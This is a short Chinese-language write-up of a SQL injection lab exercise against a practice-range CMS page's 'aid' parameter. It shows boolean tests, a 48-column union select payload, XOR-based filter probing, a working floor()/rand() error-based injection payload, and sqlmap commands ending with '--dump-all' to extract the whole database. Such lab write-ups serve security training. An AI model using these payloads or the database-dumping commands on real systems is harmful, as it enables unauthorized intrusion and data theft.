注入点

通过群里讲师得到,id=95存在注入,其他不存在,我试了一下也是不存在。
http://lab.yijincc.com:50006/?m=home&c=View&a=index&aid=95

注入类型

通过id初步判断时数字型注入,输入95 and 1=1,页面无异常

输入95 and 1=2页面不存在,说明存在数字型注入

获取返回列

经过测试发现order by 48回显正常(我的天48个),union联合查询获取回显位置,payload:95 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48

回显不是我们期待的,考虑过滤了union,使用异或测试union。95^(length('union')=5)

如果未被过滤,最后运算结果应该是95,异或注入回显一致说明没有被过滤,但返回的不是aid为95的页面,是aid为94的页面,后来我发现没改aid,改成-95

改为95就404了,可能是过滤了select之类的,使用异或测试都没有被过滤。联想到一开始得到的结论 只有aid为95猜存在注入

后来我删了一个列,发现了报错注入,尝试了extractvalue报错注入无果

后来使用 floor注入发现成功了,payload:and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x) a)

sqlmap

昨晚找到floor报错注入,今天又用了sqlmap来跑,通过指定参数来爆破
语句:py -3 sqlmap.py -u “http://lab.yijincc.com:50006/?m=home&c=View&a=index&aid=95“ -p aid –batch
跑了一会发现三种注入方式,分别是布尔盲注,报错注入,时间盲注。

因为这是靶场,接下来就是脱库了,sqlmap比自己写脚本来的快,
语句:py -3 sqlmap.py -u “http://lab.yijincc.com:50006/?m=home&c=View&a=index&aid=95“ -p aid –dump-all –batch

测试结束